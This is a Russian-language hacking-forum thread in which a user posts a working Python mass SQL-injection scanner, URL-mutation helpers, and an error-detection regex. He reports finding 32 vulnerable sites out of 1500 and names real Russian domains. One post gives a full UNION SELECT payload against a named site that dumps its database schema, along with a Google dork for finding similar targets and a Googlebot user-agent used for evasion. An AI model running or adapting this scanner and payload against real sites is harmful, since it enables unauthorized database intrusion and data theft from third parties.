Сканнер sql-инъекций

Discussion in 'Болталка' started by extjs, 26 Jun 2017.

  1. extjs

    extjs Member

    Joined:
    23 Jun 2013
    Messages:
    31
    Likes Received:
    6
    Reputations:
    0
    Вообщем, появилась такая идея. Сначала я ее реализовал в лоб. Написал краулера на питоне, который в 100 потоков ходит по ссылкам на сайте и подставляет в конец %27. Инъекции находит... но сайт отправляет в даун после 100.000 запросов (за пару минут). Слишком палевно. Вообщем я ищу способ как находить похожие ссылки на сайте, например, есть ссылки /news/1 ... /news/100500. Совершенно очевидно, что не нужно проверять 100500 ссылок, достаточно проверить только /news/1%27. Я тупенький и ничего в голову не лезет.
     
  2. extjs

    extjs Member

    Joined:
    23 Jun 2013
    Messages:
    31
    Likes Received:
    6
    Reputations:
    0
    Регулярка для поиска инъекций на странице. Может кому пригодится:

    PHP:
    r'mysqli?_fetch\w+\(\)|You have an error in your SQL syntax|DB query error'
    DB query error - это ошибка Битрикса. Данная CMS весьма распространнена в Рунете.
     
  3. BabaDook

    BabaDook Well-Known Member

    Joined:
    9 May 2015
    Messages:
    1,066
    Likes Received:
    1,565
    Reputations:
    40
    А если слепая или пост, или в хедере?
     
  4. extjs

    extjs Member

    Joined:
    23 Jun 2013
    Messages:
    31
    Likes Received:
    6
    Reputations:
    0
    Набросок на javascript (реализовать можно на любом языке)

    PHP:
    var test_urls = new Set()
    // получаем все ссылки на странице
    var urls = [...document.getElementsByTagName('a')]
    // дефрагментизация
    .map(link => link.href.replace(/#.*/, ''))
    console.log(urls.length) // 404
    // выбираем уникальные ссылки
    var unique_urls = new Set(urls)
    console.log(unique_urls.size) // 402
    for (let url of unique_urls) {
      
    url = new URL(url)
      if (
    url.search) {
        
    // заменяем значения параметров
        
    for (let k of url.searchParams.keys()) {
          
    url.searchParams.set(k, "'")
        }
        
    test_urls.add(url.toString())
      } 
    /* что-то придумать */
    }
    console.log(test_urls.values())

    VM331:6 404
    VM331
    :9 402
    VM331
    :20 SetIterator {"http://www.useragentstring.com/pages/useragentstring.php?name=%27", "http://www.useragentstring.com/pages/useragentstring.php?typ=%27"}
    Вместо 404(402) ссылок нужно проверить только две. Я вот сейчас думаю как ссылки типа /news/123 к каноническому виду привести. Повсеместно используется mod_rewrite и в этом большая сложность. Но 100500 запросов к серверу делать совсем не вариант.
     
  5. extjs

    extjs Member

    Joined:
    23 Jun 2013
    Messages:
    31
    Likes Received:
    6
    Reputations:
    0
    Вообщем, по-ходу то что я хочу никак и не сделать. Поэтому сканнер останется в таком виде:

    PHP:
    import argparse
    import logging
    import queue
    import re
    import threading

    from urllib
    .request import HTTPRedirectHandler, Request, build_opener


    MAX_THREADS 
    = 100
    # TODO: добавить больше правил
    SQL_ERROR_RE = re.compile((
      
    # mysql/mysqli
      
    r'mysqli?_fetch\w+\(\)|'
      
    # pdo
      
    r'You have an error in your SQL syntax|'
      
    # Bitrix
      
    r'DB query error'
    ))


    logger = logging.getLogger('SQLiScanner')


    class 
    RedirectHandler(HTTPRedirectHandler):

      
    def redirect_request(self, req, fp, code, msg, headers, newurl):
        
    pass


    class Scanner(threading.Thread):

      
    def __init__(self, urls, vuln, lock, stop):
        
    super().__init__()
        
    self.urls = urls
        self
    .vuln = vuln
        self
    .lock = lock
        self
    .stop = stop
        self
    .daemon = True
        self
    .start()

      
    def run(self):
        while 
    not self.stop.is_set():
          try:
            
    url = self.urls.get_nowait()
          
    except queue.Empty:
            continue
          try:
            
    # WHERE id = '" . mysqli_real_escape_string($link, trim($_GET['id'])) . "' ...
            # encodeURIComponent("'-- [")
            
    url = url.replace('*', "'--%20%5B")
            
    req = Request(url, headers={'User-Agent': self.user_agent()})
            
    opener = build_opener(RedirectHandler())
            
    with opener.open(req, timeout=5) as resp:
              
    headers = resp.info()
              
    content = resp.read()
              
    encoding = headers.get_content_charset('utf-8')
              
    content = content.decode(encoding, 'replace')
              
    match = SQL_ERROR_RE.search(content)
              if 
    match:
                
    with self.lock:
                  
    logger.info('SQL Error "%s" at url "%s".', match.group(0), url)
                  
    self.vuln.append(url)
          
    except Exception as e:
            
    with self.lock:
              
    logger.error(e)
          finally:
            
    self.urls.task_done()

      
    def user_agent(self):
        
    # TODO: сделать рандомный юзер-агент
        
    return 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)'


    def to_queue(o):
      
    q = queue.Queue()
      for 
    x in o:
        
    q.put(x)
      return 
    q


    def scan
    (urls):
      
    urls = to_queue(urls)
      
    num_threads = min(urls.qsize(), MAX_THREADS)
      
    vuln = []
      
    lock = threading.Lock()
      
    stop = threading.Event()
      
    logger.info('Start scanning.')
      
    threads = [Scanner(urls, vuln, lock, stop) for _ in range(num_threads)]
      
    urls.join()
      
    stop.set()
      for 
    t in threads:
        
    t.join()
      
    logger.info('Scanning finished. Vulnarable urls: %d.', len(vuln))
      return 
    vuln


    if __name__ == '__main__':
      
    logging.basicConfig(level=logging.DEBUG)
      
    parser = argparse.ArgumentParser(description='SQLiScanner by tz4678@gmail.com.')
      
    parser.add_argument('-f', '--file', default='urls.txt', help='file with test urls', type=str)
      
    parser.add_argument('-o', '--out', default='vuln.txt', help='output file with vulnarable urls', type=str)
      
    args = parser.parse_args()
      
    with open(args.file, 'r', encoding='utf-8') as fp:
        
    # urls = map(str.strip, fp.readlines())
        
    urls = [line.strip() for line in fp]
      
    vuln = scan(urls)
      
    # >>> sorted(['b', 'ba', 'abc', 'cab', 'a'])
      # ['a', 'abc', 'b', 'ba', 'cab']
      
    vuln = sorted(vuln)
      
    with open(args.out, 'w', encoding='utf-8') as fp:
        
    fp.write('\n'.join(vuln))
    Code:
    D:\Projects\SQLiScanner>python sqliscanner.py
    INFO:SQLiScanner:Start scanning.
    INFO:SQLiScanner:Found "You have an error in your SQL syntax" at url "https://pravda-zdorovo.ru/catalog-next/9'--%20[".
    INFO:SQLiScanner:Scanning finished.
    Press any key to exit.
    
     
    #5 extjs, 26 Jun 2017
    Last edited: 26 Jun 2017
  6. extjs

    extjs Member

    Joined:
    23 Jun 2013
    Messages:
    31
    Likes Received:
    6
    Reputations:
    0
    http://www.ratsp.ru/organization/contacts'

    сейчас сканнер работает по сл принципу: краулер заходит на главную сайта, собирает с нее сылки, а потом сканнер их проверяет. тупо брут
     
  7. RWD

    RWD Member

    Joined:
    25 Apr 2013
    Messages:
    153
    Likes Received:
    41
    Reputations:
    2
    Тупо сканить на кавычку бред, как уже было выше сказано о блин и тайм бейсед скулях, да там еще туча чего что может инжектиться... Все что найдет по кавычке миллионы раз юзанное, слитое по 100500 раз,не интересное уг, ну МОЖЕТ быть из миллиона сайтов парочку стоящих так и найдется.
     
    #7 RWD, 27 Jun 2017
    Last edited: 27 Jun 2017
  8. extjs

    extjs Member

    Joined:
    23 Jun 2013
    Messages:
    31
    Likes Received:
    6
    Reputations:
    0
    Вот этой функцией заменяю фрагменты url на *, а звездочку потом на кавычку

    PHP:
    def inject(url):
      
    scheme, netloc, path, query, fragment = urlsplit(url)[:5]
      if 
    query:
        
    # a=b&c=d -> a=*&c=*
        
    query = '&'.join([k + '=*' for k, v in parse_qsl(query)])
      
    elif path.endswith('/') and path != '/':
        
    # /a/b/ -> /a/*/
        
    path = re.sub(r'[^/]+/$', '*/', path)
      else:
        
    # /a/b -> /a/*
        
    path = re.sub(r'[^/]+$', '*', path)
      return 
    urlunsplit((scheme, netloc, path, query, fragment))
    Code:
    http://www.bankist.ru/%27/
    http://www.bankist.ru/article/%27/
    http://www.bankist.ru/article/040617/%27/
    http://www.bankist.ru/article/050617/%27/
    http://www.bankist.ru/article/200617/%27/
    http://www.bankist.ru/article/230617/%27/
    http://www.bankist.ru/article/280517/%27/
    http://www.bankist.ru/article/300517/%27/
    http://www.bankist.ru/article/310517/%27/
    http://www.bankist.ru/article/all/page/%27/
    http://www.bankist.ru/article/category/%27/
    http://www.bankist.ru/article/show/%27/
    http://www.bankist.ru/blogs/%27/
    http://www.bankist.ru/news/%27/
    http://www.bankist.ru/news/archive/all/page/%27/
    http://www.bankist.ru/page/%27/
    http://www.bankist.ru/userhome/%27/
    Из 1500 сайтов за 5 минут обнаружил 32 уязвимых.

    Например:
    Code:
    http://uyutmarket.ru/news/?news_id=-192+union+select+1,(select(@)from(select(@:=0x00),(select(0)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in(@:=concat(@,0x3c6c693e,table_schema,0x2e,table_name,0x3a,column_name))))a),3,4,5,6,7,8,9,10
    Через гугл не палится:

    Code:
    site:uyutmarket.ru You have an error
     
    #8 extjs, 27 Jun 2017
    Last edited: 27 Jun 2017